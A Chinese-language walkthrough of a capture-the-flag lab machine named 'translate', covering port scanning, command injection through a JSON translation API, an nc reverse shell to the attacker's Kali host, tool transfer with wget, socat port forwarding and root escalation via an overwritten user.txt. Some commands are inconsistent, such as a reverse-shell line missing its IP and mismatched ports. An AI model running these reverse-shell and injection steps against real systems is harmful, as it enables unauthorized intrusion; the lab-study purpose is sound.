translate靶场学习笔记

正文

kali攻击机地址:192.168.1.4

靶场地址:192.168.1.3

1、端口扫描

在kali里,使用nmap工具:

bash 复制代码
nmap -sV -v -T4 -A 192.168.1.3

发现开放了22、80、5001端口。

2、代码审计

curl命令获取5001端口代码:

bash 复制代码
curl 192.168.1.3:5001

服务器返回405 Method Not Allowed 错误.。含义:客户端(curl)使用的 HTTP 请求方法(默认是 GET)被目标服务器禁止,服务器明确该 URL 不支持当前请求方法。

那就换个写法:

bash 复制代码
curl http://192.168.1.3:5001 -X POST

服务器返回415 Method Not Allowed 错误.。含义:不支持的媒体类型,请求的 Content-Type 头部没有设置为 application/json(服务器要求 POST 请求必须携带 JSON 格式数据,且显式声明该类型)。

换成标准的json请求:

bash 复制代码
curl http://192.168.1.3:5001 -X POST -H 'Content-Type: application/json' -d '{"source_lang":"a","target_lang":"x"}'

要求还要传个text_list,修改一下:

bash 复制代码
curl http://192.168.1.3:5001 -X POST -H 'Content-Type: application/json' -d '{"source_lang":"a","target_lang":"x","text_list":[]}'

可以看到返回了正确的请求。我们可以修改执行命令:

bash 复制代码
curl http://192.168.1.3:5001 -X POST -H 'Content-Type: application/json' -d '{"source_lang":"a","target_lang":"x","text_list":["id"]}'

可以看到靶场返回了信息。

id换成浏览器中的"就你也想要账号????"

bash 复制代码
curl http://192.168.1.3:5001 -X POST -H 'Content-Type: application/json' -d '{"source_lang":"a","target_lang":"x","text_list":["就你也想要账号????"]}'

拿到靶场用户名和密码:

3、目录扫描

dirsearch -u 192.168.1.3目录扫描后发现有admin.php,用之前获取的账号密码登录:

4、NC反弹

出现熟悉的命令执行界面,开始nc反弹:

bash 复制代码
busybox nc 192.168.1.4 4444 -e /bin/bash


kali调整bash格式:

bash 复制代码
/usr/bin/script -qc /bin/bash /dev/null
stty raw -echo;fg
reset
xterm

sudo -l 查看可执行的操作,发现要密码,ctrl+c赶紧退出:

5、文件上传

kali上启动临时文件服务:

bash 复制代码
python3 -m http.server 80

靶机去访问kali上的80端口,拿到pspy文件:

bash 复制代码
busybox wget http://192.168.1.4/pspy64

给执行权限:

bash 复制代码
chmod +x pspy

运行 pspy:

bash 复制代码
./pspy

写入反弹 shell 脚本到 /tmp/test.sh

bash 复制代码
echo 'busybox nc 4321 -e /bin/bash' > /tmp/test.sh
部分 核心含义
echo 'xxx' 把单引号里的内容作为字符串输出;
busybox nc 调用 busybox 内置的 nc(netcat)工具(靶机大概率没有单独安装 nc,busybox 是精简版兜底);
4321 目标端口(攻击者会在 Kali 上监听 4444 端口,等待靶机连接);
-e /bin/bash nc 的核心参数:-e = execute,意思是 "把 bash 绑定到这个网络连接"------ 靶机连接到 Kali 后,Kali 就能直接操作靶机的 bash;
> /tmp/test.sh 把前面的命令写入 /tmp/test.sh 文件(> 是覆盖写入,/tmp 目录有写入权限);

为什么写入 /tmp/test.sh:www-data 只有 /tmp 目录有 "写入 + 执行" 权限,写其他目录会提示 Permission denied;

6、端口转发

ss -lntup查看靶机开放的网络端口,发现8000没有代理出去:

在kali里,安装静态编译版的socat

bash 复制代码
# 下载静态编译的 socat(适配 x64 靶机)
wget https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O socat-static

传给靶机:

bash 复制代码
busybox wget 192.168.1.4/socat
chmod +x socat

然后做一下端口映射成8111端口:

bash 复制代码
 ./socat TCP-LISTEN:8111,fork TCP4:127.0.0.1:8000 &

查看系统中所有进程的完整信息(渗透测试中用来找高权限进程、可疑进程、可提权的进程)。

bash 复制代码
ps -ef
参数 含义
-e 显示所有进程(every process),不只是当前用户的;
-f 显示完整格式(full format),包含 UID、PID、PPID 等核心字段;

可以看到这个城市是welcome用户跑起来的:

输出表头的含义:

表头 含义 对应值
UID 运行该进程的用户 ID / 用户名(谁启动的进程) root(表示这个进程由 root 管理员运行)
PID 进程 ID(进程的唯一标识,杀进程 / 查进程都靠它) 1(Linux 中 PID=1 是核心初始化进程)
PPID 父进程 ID(这个进程由哪个进程启动) 0(无父进程,是系统最核心的进程)
C CPU 使用率(单位:百分比,数值越大占用 CPU 越高) 0(几乎没占用 CPU)
STIME 进程启动时间(Start Time) 05:47(凌晨 5 点 47 分启动)
TTY 进程关联的终端(? 表示无终端,后台 / 系统进程) ?(说明是系统核心进程,不是终端启动的)
TIME 进程累计占用的 CPU 时间(不是运行时长) 00:00:01(累计占用 1 秒 CPU)
CMD 启动进程的完整命令 /sbin/init(Linux 系统初始化进程)

7、用户文件(user.txt)权限漏洞利用

/home/welcome目录下,只有user.txt文件是可读可写可执行,所以想办法把刚才写好的test.sh文件覆盖user.txt

bash 复制代码
cd /home/welcome
cat /tmp/test.sh > user.txt
cat user.txt

在代理出来的8111端口上,让user.txt文件指向真正的/tmp/test.sh(ps) 目录文件中。

这个时候kali就监测到nc反弹了:

最终拿到root用户权限。

PS:为什么是说是真正的/tmp/test.sh

因为之前传socat的文件目录,并不是操作系统的/tmp目录,而是appache应用的/tmp目录:

bash 复制代码
find / -name socat 2>/dev/null
部分 意思
find Linux 查找文件的命令
/ 从根目录开始全盘搜索(整个系统都找)
-name socat 按文件名查找 ,名字叫 socat
2>/dev/null 把错误信息扔进垃圾桶(不显示烦人的权限不足)

易错点

busybox 是 Linux 精简工具集,仅内置了 ls、wget、nc 等常用小程序,where 并非其默认包含的功能,因此无法通过 busybox where 实现文件查找。

相关推荐
RainCity14 小时前
Java Swing 自定义组件库分享(十二)
java·笔记·后端
Flynt3 天前
npm v12 来了:allowScripts 默认关闭,我的项目差点跑不起来
安全·npm·node.js
冬奇Lab7 天前
Skill 系列(02):Skill 安全风险——三类攻击面的实战测试
人工智能·安全·开源
LinXunFeng8 天前
Obsidian - 使用 Share Note 分享笔记并自部署
前端·笔记·github
Aphasia31110 天前
VPN 与内网穿透
安全
Mr_愚人派12 天前
当"Claude"不再是 Claude:一次第三方 API 代理引发的 AI 身份伪造排查实录
人工智能·安全
通信小呆呆12 天前
当算法有了“五感”:多模态数据融合如何向人体感官协同学习?
人工智能·学习·算法·机器学习·机器人
H__Rick12 天前
自动对焦学习-3
人工智能·学习·计算机视觉
Daisy Lee12 天前
量化学习-第1章-什么是量化金融
学习·金融·datawhale
DaLi Yao12 天前
【无标题】
人工智能·安全